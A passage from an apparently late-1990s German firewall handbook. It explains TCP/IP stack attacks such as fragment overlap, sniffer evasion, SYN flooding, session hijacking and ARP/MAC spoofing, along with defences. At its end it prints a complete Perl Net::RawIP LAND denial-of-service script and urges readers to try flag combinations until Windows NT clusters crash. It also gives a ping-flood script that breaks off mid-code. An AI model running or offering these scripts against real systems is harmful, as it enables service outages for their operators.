![[Inhalt]](../../Grundlagen/Firewall/images/toc.gif){kind=small}
|
|
Online Suche im Handbuch | LITTLE-IDIOT NETWORKING |
Angriffe auf den TCP/IP-Stack sind gegenwärtig die Ursache von immensen Ausfällen bei ISP´s und innerhalb des Netzwerkes von Unternehmen. Verantworlich sind hierbei häufig mangelhafte TCP/IP-Stacks in Servern und Routern, die empfindlich auf defekte Netzwerkkarten und speziell konstruierte TCP/IP-Pakete reagieren. Diese Pakete werden von Programmen erzeugt, die im Internet im Quellcode und als Windows-Programm veröffentlicht werden. Diese werden exploits genannt und sind im BUGTRAQ Archiv zu finden (http://www.geek-girl.com)
Sie sind fast ohne Netzwerkkenntnisse von jedermann ausführbar und greifen Internet-Server und arglose Surfer an. Insbesondere Fa. Microsoft hat sich hierbei nicht mit Ruhm bekleckert, die Folgen waren allerorts zu spüren: Computerwoche, SWF3, Microsoft, Netscape... -Internet-Server und viele andere waren wochenlang »offline«, hunderttausende von Surfern werden mit DoS-Angriffen belegt, die ein Einfrieren vor allem von Windows 95/98/NT Workstations bewirken.
Für mission critical Dienstleistungsbetreiber bedeutete dies erhebliche Folgekosten, die sich aus Ausfallzeiten, Schadensersatzansprüchen, Beratung, Kauf und Einrichtung einer Firewall u.s.w zusammensetzte. Als dann auch einige Firewallhersteller keine wirksame Lösung liefern konnten, war das Chaos perfekt. Microsoft z.B. sperrte alle direkten Zugriffe auf deren Internet-Server und ließ über mehrere Wochen nur Pakete zu, die über bekannte PROXY's bei ISP's geroutet wurden.
PROXY´s oder CACHING PROXY's nutzen zwangsläufig ihren eigenen TCP/IP-Stack für ein- und ausgehende Pakete. Pakete von Angreifern über PROXY´s mußten somit scheitern. Eine vollständige Liste der unter den Namen "teardrop", "land"... bekanntgewordenen Angriffe findet sich im Anschluß an dieses Kapitel.
Themen
Ein einfacher aber wirkungsvoller Angriff, der IP-Fragmentierung ausnutzt, ist der sogenannte »overlapping fragment attack« [RFC 1858]. Die derzeitige Internet-Protokoll Spezifikation [RFC 791] beschreibt einen Reassemblierungs-Algorithmus, der neue Fragmente produziert und dabei jeden überlappenden Teil der zuvor erhaltenen Fragmente überschreibt. Wird ein solcher Algorithmus angewendet, so kann ein Angreifer eine Folge von Paketen konstruieren, in denen das erste Fragment (mit einem Offset der Länge Null) harmlose Daten beinhaltet (und dadurch von einem Paketfilter weitergeleitet werden kann). Ein beliebiges nachfolgendes Paket mit einem Offset, der größer als Null ist, könnte TCP-Header-Informationen (z.B. destination port) überlappen. Diese würden durch den Algorithmus modifiziert (überschrieben). Dieses zweite Paket wird von vielen Paketfiltern nicht gefiltert. Gegenmaßnahme hierzu ist, Paketfilter zu verwenden, die ein Minimum an Fragment Offset für Fragmente verlangen. Nur wenige neuere TCP/IP-Stacks erkennen dieses Problem und korrigieren dieses.
Ältere Router lassen sich mit diesem Trick einfach durchtunneln, sie bieten keinen Schutz. Besonders aber Firewalls, die auf der Basis der Stateful Paket Filterung (SPF) arbeiten, wie z.B. RAPTOR EAGLE und FIREWALL-1 ließen sich so durchtunneln.
Content-Anbieter im Internet und ISP´s, die mit diesen Firewalls NT-Server schützen wollten, wurden so Ziel der unzähligen Angreifer, die neue exploits mal testen wollten.
Abhilfe schafft nur eine vollständige Reassemblierung der TCP/IP-Pakete oder der Einsatz eines Proxy. Nachteil dieser Lösung ist ein enormer Einbruch in der Performance, der den Vorteil der SPF Firewalls völlig zunichte macht. Dies zeigt aber, daß Firewalls keineswegs perfekt sind. Will man solchen Angriffen zuvorkommen, so ist man als Betreiber eines mission critical Systems auf die ständige Betreuung eines Experten angewiesen. Da von diesem Angriff nur spoofende Versionen existieren, können die Täter oft nicht aufgespürt werden.
Themen
Entgegen aller Vermutungen können Netzwerkscanner, Sniffer und IDS (Intrusion Detection Systems) auch einem DoS-Angriff zum Opfer fallen. Grund dafür ist, daß Sniffer stets auf dem Kernel des Betriebssystems aufsetzen und von diesem abhängig sind.
Sniffer müssen einen eigenen TCP/IP-Stack besitzen, da ihnen ansonsten kein Trace einer Netzwerkverbindung zwischen zwei Rechnern im Netz gelingen würde.
Die meisten freien und kommerziellen Scanner haben dabei ein kleines Problem. Sind sie auf Spurenverfolgung einer Verbindung, so sind sie nicht mehr in der Lage, andere Verbindungen gleichzeitig zu observieren.
Um diese Aufgabe bewältigen zu können, müßten sie gleichzeitig die Arbeit aller TCP/IP-Stacks im Netzwerk verrichten, dies wäre wohl auf einer CPU etwas zuviel verlangt. Daher entgeht ihnen stets ein großer Prozentsatz des gesamten Traffics.
Ein Angreifer muß sich also, wenn er dynamische Angriffe ausführt, auf ein Rechnerpaar beschränken, ebenso verhält es sich mit aktiven IDS-Systemen (Intrusion Detection). Sniffer und Netzwerkscanner, die z.B. auf einem Server einen bestimmten Port überwachen, kann man mit einem einfachen Trick stilllegen: Bevor er sich z.B. via telnet auf Port 23 einloggt, so sendet er ein gespooftes SYN-Paket. Falls ein Sniffer aktiv ist, wird er logischerweise nach Paketen dieses gespooften Rechners mit dem Port 23 als Zielport lauschen. So kann man sich einloggen, ohne daß der Sniffer das Paßwort mitscannen kann. Später, wenn der TCP/IP-Stack die Verbindung wegen Timeout beendet, ist der Sniffer wieder aktiv.
Ein weiteres Problem liegt darin , daß ein Sniffer nicht wirklich in die Verbindungen hinein schaut, also nicht an dem Datenaustausch teilnimmt, wie die beobachteten Rechner. Er trifft bezüglich IP-Paketlänge und TCP-Paketlänge daher bestimmte Annahmen und interpretiert die Pakete nach diesem Standardschema. Bei einer Änderung z.B. der Länge des TCP-Headers und der sporadischen Einschleusung von falschen Prüfsummen, ist er nicht mehr in der Lage, die Inhalte dieser Pakete korrekt zu interpretieren. Der Sniffer überprüft die TCP-Prüfsummen nicht, die Kernel der überwachten Rechner hingegen werden diese "falschen" Pakete verwerfen und somit die Übertragung korrekt ausführen. Sniffer brechen z.B. auch nach einem FIN oder RST Paket die Überwachung ab. Befindet sich dieses aber in einem TCP-Paket weit entfernter Sequenznummer, so werden die überwachten Rechner dieses verwerfen und mit der Verbindung fortfahren, der Sniffer hingegen hält die Verbindung jedoch für beendet und stellt seine Arbeit ein. Einige Betriebssysteme (NT und DIGITAL UNIX) überprüfen bei einem RST die TCP-Sequenznummern nicht. Ist also auf diesen Betriebssystemen ein Sniffer aktiv, so ist es einem Angreifer leicht möglich, dieses mit einem gespooften Paket mit gesetzem RST-Flag taub für alle weiteren Pakete zu machen.
Sehr erfolgreich gegen Sniffer sind »Spielchen« mit fragmentierten IP-Paketen, diese werden im allgemeinen nie von Sniffern erkannt. Es gibt eine ganze Reihe von solchen Paketen, einige sind genauer im Phrack Magazin beschrieben worden.(http://www.phrack.org) Kommerzielle Pakete, wie Ballista oder freie, wie die Software ipsend von Darren Reed oder die PERL Erweiterung Net::RAWIP unter FreeBSD eignen sich hervorragend, den TCP/IP-Stacks in den Betriebssystemen einmal auf den Zahn zu fühlen. Es wird sich dann unweigerlich zeigen, warum einige TCP/IP-Stacks öfter mal ausfallen. Grund hierfür können aber auch defekte Netzwerkkarten sein, die verstümmelte Pakete erzeugen. Einige Betriebssysteme verkraften diese Pakete nicht und hängen sich auf.
Themen
Toolkits, wie Ballista oder ipsend, die verschiedenste Varianten von gefährlichen TCP/IP-Paketen simulieren, indem sie wichtige Protokolle mit verschiedensten Flags, Paketlängen, Fragmentierungen und Verschachtelungen (interlaced) und Zufallszahlen kombinieren, eigenen sich nicht nur für DoS-Angriffe, sondern auch zur Bestimmung des Firewall-Herstellers und evtl. Filtereinstellungen und der Server - Betriebssysteme hinter der Firewall. Mit Hilfe eines Sniffers werden dann die Antwortpakete des Servers hinter der Firewall ausgewertet und somit die Filter-Einstellungen der Firewall bestimmt. Aufgrund der ISN (Initial Sequence Number) und SSN (Serial Sequence Number) der Antwortpakete kann dann auf das Betriebssystem geschlossen werden.
Es lassen sich so auch ganz gezielt Fehler bei den dynamischen Filterregeln oder im PROXY - Mechanismus herausfinden und weiter ausnutzen, z.B. um die Firewall an die Grenzen ihrer Leistungsfähigkeit zu bringen. Die eintretenden Effekte sind dann doch sehr vielfältig. Sie reichen von DoS- bis hin zu möglichen "buffer overflow"-Angriffen und einem Effekt, der nur bei wenigen Firewalls/Paketfiltern auftritt, nämlich zu Fehlfunktionen bei den dynamischen Filterregeln, wenn die Leistungsfähigkeit ihre Grenze erreicht.
Konkreten Angriffen geht oft eine Vielzahl solcher Untersuchungen voraus. Viele Firewall-Hersteller lassen sich zertifizieren, d.h. die Firewall wird auf solche Probleme (neben vielen anderen) überprüft. Eine solche detaillierte Prüfung, welches das BSI (http://www.bsi.bund.de) von Siemens hat erstellen lassen zeigt, das inzwischen alle Firewall-Hersteller diese Probleme beseitigt haben, leider lassen sich aber Reaktionen auf komplexe dynamische Firewallregeln unter Vollast nicht testen. Die Zahl der möglichen (sinnvollen) Kombinationen bei TCP/IP-Angriffen allein liegt über 130. Wenn also eine Firewall komplexe Regelwerke abzuarbeiten hat, steigt die Wahrscheinlichkeit dramatisch, daß ein DoS-Angriff erfolgreich ist. Filtert man zu wenige Pakete, so ist die Wahrscheinlichkeit eines Einbruchs oder DoS-Angriffs auf Server dahinter sehr hoch. Diese Angriffsvarianten lassen sich mit o.a. Werkzeugen simulieren. Sie sind Bestandteil von guten Security-Scannern. Warum besonders bei den Microsoft Betriebssystemen 95/98 und NT solche Probleme immer noch in so großer Zahl auftreten, bleibt ein offenes Geheimnis.
Themen
ICMP, IGMP sind eigene Protokolle, die auf IP aufsetzen und dem Informationsaustausch zwischen Routern über Leitungszustände, Erreichbarkeiten von Hosts und der Regelung von Geschwindigkeiten dienen.
Setzt man einfache, ungesicherte UNIX oder NT-Server als Router ein, so hat man ein großes Problem mit dem differenzierten Handling von ICMP Codes. Beispielsweise ist ein Angreifer in der Lage, einem NT-Server oder UNIX-Server mitzuteilen, daß die Übertragungsgeschwindigkeit zu hoch sei (ICMP SOURCE QUENCH), woraufhin dieser die Sendegeschwindigkeit beispielsweise halbiert. Mehrere solcher Pakete eines Angreifers bringen jeden Server unweigerlich dazu, seine Arbeit einzustellen. Gute Router (CISCO) haben "counter intelligence"-Algorithmen eingebaut, die genau dieses verhindern sollen. Normale Betriebssysteme beherrschen evtl. noch die Differenzierung zwischen einigen ICMP-Codes, ohne jedoch darauf intelligent antworten zu können. Hierzu gehören beispielsweise NT und viele UNIX-Derivate. Firewalls, die auf dem TCP/IP-Stack dieser Betriebssysteme aufsetzen, sind immer in Gefahr, einem DoS-Angriff zum Opfer zu fallen.
Das Abschalten von ICMP Source Quench ist nicht zu empfehlen, da z.B beim schnellen Auftreffen von Paketen auf eine langsame Leitung diese völlig überlastet würde. Andererseits läuft man mit ICMP Source Quench in Gefahr, Opfer eines DoS-Angriffs zu werden. In größeren Netzwerken, wo Zuverlässigkeit an oberster Stelle steht, sollte man sich für CISCO entscheiden, da "counter intelligence"-Strategien des Autausches von Statistiken zwischen Routern bedürfen. Hierfür hat CISCO ein eigenes Protokoll entwickelt, um eine Plausibilitätskontrolle benachbarter Router zu ermöglichen. Wir einer der Router von einem Angreifer in die Irre geführt, so fragt dieser nach, ob evtl. sein Nachbar ebenfalls Probleme mit der Performance hat. Ist dies nicht der Fall, so wird er den ICMP Source Quench nicht akzeptieren. Der Einsatz von CISCO PIX wird dann evtl. für einige ISP´s zu einem Muß.
Themen
Angreifer benutzen die Fragmentierung von IP-Paketen, um Router/Firewalls zu durchtunneln, die bestimmte Ports blockieren. Mit fragmentierten Paketen ist somit der Router nicht mehr in der Lage, die Bedeutung des darin enthaltenen TCP-Paketes zu interpretieren und läßt somit das Paket passieren. Daher ist es in jedem Falle notwendig, dem TCP/IP- Stack des Routers zu befehlen, diese Pakete vor der Filterung zusammenzusetzen. (reassembly). Das kostet zwar Performance und im Falle eines geschickten Angriffs viel RAM, ist aber unerläßlich. Leider werden hierdurch auch DoS-Angriffe wieder möglich, die aus sogenannten fragmentierten, überlagerten Paketen speziell konstruiert werden, um die Firewall dazu zu bringen, Teile des TCP/IP-Stacks/Heaps auf den SWAP-Bereich des Betriebssystems auszulagern. In diesem Moment arbeitet der Firewall-Prozeß schlagartig langsamer. Das erzeugt in dem Firewallprozeß einen RAM-Überlauf, woraufhin dieser auf dem Betriebssystem selber abstürzt. Sollte das Betriebssystem dann IP forwarding aktiviert haben, so stehen Tür und Tor weit offen. Firewall-Betriebssysteme sollten stets großzügig mit RAM ausgerüstet werden, erstens aus Performancegründen, zweitens muß zuvor abgeschätzt werden, wieviel RAM bei verschiedensten DoS-Angriffen mit der vollen zur Verfügung stehende Bandbreite maximal verbraucht wird, ohne daß der Server anfängt, den Auslagerungsspeicher zu bemühen. Firewall - Prozesse sollten daher stets im RAM-Verbrauch begrenzt werden (können). Da hierzu auch genaue Kenntnisse im RAM-Verbrauch des darunterliegenden Kernels erforderlich sind, sollte man stets eine Firewall auf einem Betriebssystem installieren, welches diesbezüglich keine Fragen offenläßt (SUN, FreeBSD, ...BSD, BSDI, LINUX). Timeout-Fragen sind hierbei ebenso wichtig, wie die Frage nach den counter intelligence Strategien (z.B. RED, Random Early Drop) zur Abwehr von SYN flooding Angriffen.
Eine Firewall sollte vor Inbetriebnahme mit allen gängigen Angriffsvarianten gestreßt werden. Insbesondere sollte das Verhalten bei aktivierten, dynamischen Filterregeln überprüft werden. Nur so läßt sich zuverlässig überprüfen, ob ein zuverlässiger Betrieb auch unter "Beschuß" gewährleistet werden kann.
Nebenher gesagt - je schneller die Anbindung an das Internet ist, umso größer sind die Gefahren, einem solchen DoS-Angriff zum Opfer zu fallen. Beachtung gilt auch stets benachbarten Servern, die evtl. von einem Angreifer für einen DoS-Angriff mißbraucht werden könnten. Diese Angriffe sind doch recht häufig und werden vielfach nicht als Angriff erkannt.
Themen
Weniger bekannt ist, daß Firewalls alle große Probleme mit SYN flooding Angriffen haben. Es ist nicht SYN flooding von einer IP-Quelle, welches durch alle gängigen Security Scanner überprüft wird, sondern das Fluten mit random source IP - Nummern, also gespooften SYN-Paketen.
Wie sollte eine Firewall feststellen, ob ein SYN Paket einen echten Verbindungswunsch darstellt, oder zu dem DoS-Angriff gehört ? Einige Firewall - Hersteller, darunter auch die Marktführer, verkünden großspurig: "Selbstverständlich, bei <=50.000 SYN-Paketen, je nach Einstellung macht unsere Firewall für einige Zeit dicht". Genau dieses Verhalten möchte ein Angreifer aber provozieren, um erfolgreich einen DoS-Angriff ausführen zu können.
Bescheidenere Hersteller berichten, dagegen gäbe es keinen wirkungsvollen Schutz, und aus wieder anderer Quelle hört man, sogar LINUX hätte einen Schutz gegen SYN-flooding (SYN Cookies). Was stimmt den nun?
Jede Aussage ist korrekt, die einen schützen gegen die Exploits, die man in den BUGTRAQ Archiven finden kann, andere ertragen eine maximale Zahl von SYN-Paketen und schließen daraufhin für 10 Minuten das Interface, LINUX besitzt einen SYN-Cookies Mechanismus, der den Server für weitere Verbindungen offenhält, und die Rückverfolgung eines Angreifers etwas erleichtert, vorausgesetzt, daß sein Partner auch SYN Cookies aktiviert hat. (Viele Angreifer benutzen LINUX mit aktivierten SYN Cookies.....:)
Wieder weitere haben den RED (Random Early Drop) Mechanismus implementiert, welcher im Falle eines Angriffs nach statistischen Informationen vor dem Angriff einfach nach Zufallsprinzip eine große Zahl von Verbindungen verwirft, um für die syn->ack Pakete derjenigen Verbindung offen zu sein, die keinen DoS-Angriff beabsichtigen.
Nur mit diesem Mechanismus kann gewährleistet werden, daß trotz ständiger DoS-Angriffe der Betrieb aufrechterhalten wird. Dieser Mechanismus wird leider nur von wenigen Herstellern angeboten (TIS NAI).
Themen
Versteckte Firewalls (NON-IP Installationen) und SPF (Stateful Paket Filter, Firewall-1) vermeiden es möglichst, die TCP-Datenpakete über einen eigenen TCP/IP-Stack zu verändern. Um bei Performance Tests besser abzuschneiden, werden im allgemeinen IP-Defragementierung oder die verschiedensten Überprüfungen bzw. Veränderungen der TCP-Header abgeschaltet.
PROXY's hingegen besitzen ihren eigenen Stack und führen vor der Weiterleitung des TCP/IP-Pakets eine Defragmentierung der IP-Pakete, eine Reassemblierung aller TCP-Sequenznummern, eine Überprüfung der CRC-Prüfsummen sowie weitere Untersuchungen (Spoofing, Port, IP....) durch.
Sequenznummern (SSN) und Inkrement (ISN) sind charakteristisch für Betriebssysteme und Versionen, sie zeigen einem Angreifer, welche Angriffe, z.B. "buffer overflows", DoS oder andere, mit hoher Wahrscheinlichkeit direkt zum Erfolg führen, und welche Fehler im Betriebssystem mit Sicherheit schon behoben worden sind.
Nur wenige Hersteller von Betriebssystemen bzw. Firewalls bieten eine "randomisierung" der TCP-Sequenznummern an, was eine Vorausberechnung der Sequenznummern bzw. einen session hijacking attack völlig unmöglich macht. Eine schnelle Firewall mit SPF-Architektur leitet Pakete ohne Veränderung der TCP-Sequnznummern weiter, da sie sich darauf verläßt , daß der TCP/IP-Stack des Ziel-Servers bei der Zusammensetzung der Pakete Fehler bemerkt. Die Vorausberechnung der Sequenznummern ist für session hijacking, also der Übernahme einer Verbindung nach erfolgter Authentifizierung unbedingt erforderlich, hierzu muß der Angreifer sich möglichst nahe an dem Ziel befinden. Schnelles Timing ist hier erforderlich. Daher funktioniert session hijacking einer bereits authentifizierten Verbindung zu einem Server hinter einer Firewall immer dann, wenn die Firewall selber die Sequenznummern nicht randomisiert.
SPF's haben den Vorteil, schnell zu sein, leider geht das immer auf Kosten der Sicherheit. So lassen einige Firewalls vom Typ SPF inzwischen keine IP-fragments oder interlaced fragments mehr passieren, wenn eine Reassemblierung von IP-Paketen durchgeführt wird. Es können aber die darin enthaltenen TCP Pakete, die z.B. fehlerhafte Prüfsummen oder zu große Offsets besitzen, immer noch Schaden auf dem Server hinter der Firewall anrichten.
Die Argumentationsweise der Hersteller besagt, daß die Firewall nicht alle Pakete wirklich prüfen muß, da z.B. Pakete mit fehlerhafte Prüfsummen (CRC) ja von dem Betriebssystem hinter der Firewall, z.B. einem NT-Server erkannt und erneut angefordert werden, wäre da nicht der kleine Fehler im TCP/IP-Stack von NT 4.0 bis SP2 . (Siehe BUGTRAQ) Dieser reagiert auf ein speziell konstruiertes TCP-Paket nicht nur mit einer neuen Anforderung dieses fehlerhaften Pakets, sondern initiiert zudem noch eine zweite Verbindung von sich aus in das Internet, zu einer vom Angreifer zu bestimmenden IP - Nummer. Hier erwartet der NT-Server eine Antwort von außen über die Firewall zurück, welche die Firewall auch passieren läßt, da ja ein Verbindungswunsch von innen vorliegt. Und schon hat ein Angreifer direkten Zugriff auf den NT-Server. Zugegeben, dieser Angriff ist kompliziert und nur von wenigen Personen durchführbar, aber er funktioniert, und zwar direkt über die Firewall hinweg. Zahlreiche Beispiele der TCP/IP-Stack-Angriffe auf NT-Server, die in BUGTRAQ veröffentlicht wurden, funktionieren nachweislich auch durch diese Firewalls hindurch.
Angesichts stark gestiegener CPU- und Memory-Bandbreiten sollten Firewalls mit eigenem TCP/IP-Stack und PROXY-Diensten stets bevorzugt werden. Man sollte sich daher immer gut überlegen, ob man eine Firewall einsetzt, die standardmäßig den TCP/IP-Stack eines Betriebssystems nutzt (z.B. Microsoft PROXY-Server 2.0, WINGATE, WINPROXY, CONSEAL........) oder nach dem SPF-Design arbeitet.
Ein dummes Problem bei Firewalls ist, daß man nicht genau weiß, ob die Firewall Teile des IP-Stacks des Betriebssystems mitbenutzt, oder ob die Firewall sogar ihren eigenen IP-Stack implementiert. Bei dem Maktführer Firewall-1 3.0 und 4.0 von Checkpoint ist das Problem, daß die Zahl der Einträge in den connection table begrenzt ist, und die Firewall-1 den Timeout auf 1 Stunde gesetzt hat. Die Firewall-1 kann dann keine Pakete mehr annehmen und folglich ist ein DoS Angriff zu 100% erfolgreich. Mit Hilfe eines kleine PERL-Skriptes auf der Firewall, welches in regelmäßigen Abständen nach den sogenannten failed closed Verbindungen sucht (Siehe netstat -an), läßt sich das Problem recht einfach beheben (jedenfalls bei den von mir installierten LINUX Firewalls). Das Skript kann zudem noch einige anderen Probleme mit TCP/IP Stacks, die LINUX ja auch hat, beheben. Für Betreiber von mission critical Systemen im Internet kann dies erhebliche Verluste bedeuten. Von diesen Angriffen ist auch häufiger (nach meinen Test - Pings) ein führender Anbieter der Firewall-1 von Checkpoint betroffen. Tja Experten ..... Eine genaue Analyse findet sich auf http://www.enteract.com/~lspitz/fwtable.html. Leider funktionierte der auf der kostenlosen Supportseite der Firewall-1 von Checkpoint angegebene Tip nicht. Siehe http://www.phoneboy.com/fw1/faq/0289.html.
Themen
NAT oder auch der »kleine Bruder« von NAT, »masquerading«, haben in einigen Varianten Fehler. Z.B erwarten einige Anwendungen, die Verbindungen über einen NAT-Router aufbauen, Antwortpakete auf festen Portnummern zurück. Einige Implementierungen nehmen es damit nicht so genau, z.B auch LINUX mit Kernelversionen bis 2.0.36 mit aktiviertem Masquerading oder NAT (Patch erforderlich). Problematisch wird es, wenn dieser Router zusammen mit einer Firewall kaskadiert wird. Ein Angreifer kann dann einen PING-PONG-Effekt zwischen Firewall und LINUX initiieren, der zum Stillstand des Systems führen kann. Diese PING-PONG-Effekte können zahlreiche, einfachere Ursachen haben (meist Routingfehler), erfahrenere Angreifer nutzen aber Probleme dieser Art aus.
Themen
Diese Scantechnik ist schwierig zu entdecken, da sie keine LOG-Einträge hinterläßt. Stealth Scans beruhen darauf, daß TCP/IP-Stacks fast aller Betriebssysteme bei halboffenen Verbindungen unterschiedliche Pakete an den Angreifer zurücksenden, je nachdem, ob der Port auf dem Server in Gebrauch oder deaktiviert ist. Einige Firewalls der schnelleren Art (SPF) lassen diese Pakete passieren, sodaß ein Angreifer ohne Spuren zu hinterlassen, die benutzten Ports eines Servers hinter der Firewall bestimmen kann. Bei PROXY-Firewalls ist dies nicht möglich. Da diese Art des Scannens (noch) recht unzuverlässig ist, sollte man dieser Möglichkeit weniger Aufmerksamkeit widmen. CISCO hielt es aber für notwendig, dieses Problem zu korrigieren, ab V11 läßt sich mit stealth scan nichts mehr in Erfahrung bringen. Bis jedoch die Hersteller von UNIX und NT nachgezogen haben, können Angreifer ohne Spuren zu hinterlassen Ports scannen.
Themen
Switches werden von vielen Unternehmen eingesetzt. Sie dienen der Lastenverteilung in Netzwerken und der Aufteilung einer großen Kollision Domain in mehrere kleinere. Somit sollte auch der Einsatz von Netzwerksniffern auf den lokalen Bereich begrenzt sein .... Ein fataler Irrtum: Möchte ein Angreifer z.B. ein Paßwort (beim Login) "fischen", so schickt er ein IP/MAC gespooftes Paket (das des Servers, an welchem sich die Arbeitsstation einloggt) in schnellen Abständen an Arbeitsstationen in anderen Netzen. Der Swich merkt sich dann den "neuen" Aufenthaltsort des Servers (MAC) und leidet die Pakete der sich gerade einloggenden Arbeitsstation an den Recher des Angreifers weiter.
In vielen Fällen reicht auch schon eine ARP-Impfung in die sich einloggende Arbeitsstation. Der Vorgang ist einfach. Ein ARP-Broadcast findet immer dann statt, wenn ein Host die MAC Adresse zu einer IP - Nummer auf dem LAN sucht. Die bei Microsoft (und einigen anderen Herstellern) fehlerhafte ARP-Implementierung nimmt auch Informationen an, wenn kein Broadcast ausgesendet wurde, also der Host keinen Informationsbedarf hat. Diese ARP-Impfung in den Host und MAC spoofing für den Switch führen dann dazu, daß der sich einloggende Host an einem völlig anderen Server anmeldet, das Paßwort übermittelt - und - dem Angreifer direkt in die Hände spielt. Selbstverständlich muß dann dieser Loginversuch scheitern, in der Praxis vermutet der User einen Tippfehler. Fehlgeschlagene Login-Versuche werden nicht ernst genommen. Oft hat ein Angreifer nach dem ersten Angriff schon das korrekte Paßwort erhalten, und kann den Angriff stoppen, die Spuren beseitigen und erst einmal verschwinden. Spätere Nachforschungen in Logfiles werden keine Zusammenhänge aufdecken können.
Der Systemadministrator sollte immer und unbedingt nach einem fehlgeschlagenen Loginversuch informiert, und das Paßwort schnellstens geändert werden. Viele Internet-Provider setzen Switches zum Schutz vor Sniffern ein, kennen aber die Tricks der Angreifer und die hierzu notwendigen Voraussetzungen meist nicht.
Viele Provider haben mit DoS-Angriffen auf Switches zu kämpfen - diese werden häufig als Fehlfunktionen der Hardware gedeutet. Problematisch wird es, wenn ein Internet-Verkehrsknotenpunkt betroffen ist, wie z.B. DECIX oder ECRC. Ein Angreifer, der Zugang zu einem Host besitzt, der direkt an dem Switch angeschlossen ist, kann mit MAC Spoofing und ARP-Impfungen den Datenverkehr zwischen Providern an diesem Knotenpunkt völlig durcheinanderwürfeln.
Die enorm hohen Bandbreiten erlauben es kaum, IP/MAC-Spoofing zu entdecken. Hier müssen besondere Maßnahmen ergiffen werden....
Themen
Switches und Switching Router (Level-3/4) besitzen IP-Filter mit Verschlüsselungsmechanismen, die sogenannte VPN's bilden können. Normale Broadcast-Anfragen werden entweder geblockt oder gespooft (ARP..). Einige Broadcast-Protokolle werden aber zugelassen, z.B. zum simultanen Booten von hunderten von "diskless"-Arbeitsstationen. Der Mangel an Erfahrung mit den verschiedensten Broadcast/Multicast-Modellen und - Einstellungen führt dann dazu, daß Angreifer trotz Filter beliebige Daten in normalerweise nicht erreichbare Netze transferieren können. DoS-Angriffe auf Arbeitsstationen und Server sind somit immer noch möglich.
Angriffe auf den TCP/IP-Stack gehören inzwischen zu den besonders häufigen DoS(Denial of Service)-Attacken. Unter Namen, wie OOB, NUKE, LAND, TEARDROP und NEW FRAGMENTATION ATTACK bekannt geworden, führten diese zu ständigen Störungen in Intra- und Internet. Einige dieser Pakete werden von Routern und sogar von Firewalls nicht herausgefiltert, sodaß Firewalls ohne eigenen TCP/IP-Stack für ein- und ausgehende Pakete (PROXY-Firewalls) hierbei das Betriebssystem nicht sichern können. Durch die Veröffentlichung von Programmen wie "latierra", die einige kritische Kombinationen über alle IP - Nummern eines Netzwerkes und alle Portnummern durchprobieren, sind solche Angriffe leider alltäglich geworden.
Nun, das ist eine berechtigte Frage. Hierzu müssen Sie zunächst ROOT Zugriff auf einen UNIX Server haben. Dann steht es Ihnen frei, dies entweder nach den Beispielen bekannter EXPLOITS von z.B. http://www.rootshell.com nach zu programmieren. RAW Sockets unter C sind aber nicht jedermanns/fraus Sache. In PERL mit dem Toolkit net::rawip ist das viel, viel einfacher zu realisieren. Sie finden das Toolkit hier http://quake.skif.net/RawIP/, oder auf Sergey Kolchev's Homepage in der Ukraine, http://www.ic.al.lg.ua/~ksv/. Hier nur ein paar Beispiele. Sie brauchen diese nur in ein Verzeichnis zu kopieren, mit chmod u+x .... die Executable Rechte zu vergeben - und können sofort einen Angriff starten (aber bitte aussschließlich nur auf Server im Intranet....diese Angriffe können nämlich von vielen Routern/Firewalls entdeckt werden)
Falls Sie hierzu irgendwelche Fragen haben, es gibt auch eine ausführliche FAQ dazu, wo alle Anfängerfragen erläutert werden, darunter auch diejenige, wie ich mit diesem Toolkit gespoofte IP-Pakete erzeuge, bei denen die Absendeadresse gefälscht ist. Aber Vorsicht, viele Provider können Spoofing bestimmter IP-Nummernbereiche erkennen, andere leider nicht....
Einige Suchmaschinen, wie z.B. Yahoo und HOTBOT haben net::rawip zensiert. Die Suchmaschine http://www.northernlight.com/ liefert jedoch zu diesem Thema einige hundert Informationen.
Wie durchschlagend diese Angriffe sind, wird daran deutlich, daß Microsoft in den Beschreibungen der Service Packs diese Problematik erst garnicht dokumentiert, sondern Patches immer heimlich mitliefert. Falls also gerade Ihr 100.000 DM Windows NT 4.0 Wolfpack - Cluster mit Servicepack 5 in Ihrem Unternehmen ständig ausfällt, dann sollten Sie vielleicht einmal Arbeitsstationen auf Visual Basic Makro's in Winword Dokumenten untersuchen, die über die veraltete Winsock 2.1 diese Pakete an den Server versenden. Diese Beispiele werde ich an dieser Stelle nicht veröffentlichen, da ansonsten der Schaden unermesslich sein würde. Dieser Abschnitt hier soll auch nur den Ernst der Lage verdeutlichen und keine Aufforderung für Mitarbeiter sein, dem eigenen Unternehmen einen Millionenschaden zuzufügen. Wer Microsoft NT Server in Unternehmen einsetzt, der hat leider auf das falsche Pferd gesetzt. Microsoft kann bis heut noch keinen vernünftigen TCP/IP Stack liefern, was auch die riesigen Ausfälle bei Internet-Providern mit NT-Servern zeigen.
Die Gartner GROUP hat signifikante Unterschieden bei den DOWN-Zeiten zwischen den großen Plattformen festgestellt, siehe INFORMATIONWEEK 17/18 vom 19. August 1999, Seite 40:
AS/400 5.2 Stunden/Jahr
S/390 8.9 Stunden/Jahr
UNIX 23.6 Stunden/Jahr
Windows NT 224.5 Stunden/Jahr
Da weiß man, was man hat ! Schönen, guten Abend (Zitat von Jan Hagemeier, Bonn)
Hier nun einige Beispiele: Der LAND Angriff
#!/usr/bin/perl
require 'getopts.pl';
use Net::RawIP;
Getopts('i:p:');
$a = new Net::RawIP;
die "Usage $0 -i <target> -p <target port>" unless
($opt_i && $opt_p);
$a->set({ ip => {saddr => $opt_i,
daddr => $opt_i
},
tcp=> {dest => $opt_p,
source => $opt_p,
psh => 1,
syn => 1}
});
$a->send;
Fertig ! Ja, es ist wirklich so einfach ....Spielen Sie mit den Flags (psh, syn....) herum, und sie werden merken, daß bei der richtigen Kombination Windows NT Cluster (Tandem, Wolfpack) aussteigen....
Ein einfacher PING
#!/usr/bin/perl
use Net::RawIP qw(:pcap);
$a = new Net::RawIP ({icmp =>{}});
$a->set({ip => {saddr => 'www.intra.net', # insert your site
here !
daddr => $ARGV[0]},
icmp => {type => 8, id => $$}
});
$device = 'eth0'; # insert your device here !
$filt = 'ip proto \\icmp and dst host my.site.lan';#
insert your site here!
$size = 1500;
$tout = 30;
$pcap = $a->pcapinit($device,$filt,$size,$tout);
$i =0;
if(fork){
loop $pcap,-1,\,\@a;
}
else{
sleep 2;
for(;;){
$a->set({icmp => {sequence => $i,data => timem()}});
$a->send(1,1);
$i++
}
}
sub dmp{
my $time = timem();
$a->bset(substr($_[2],14));
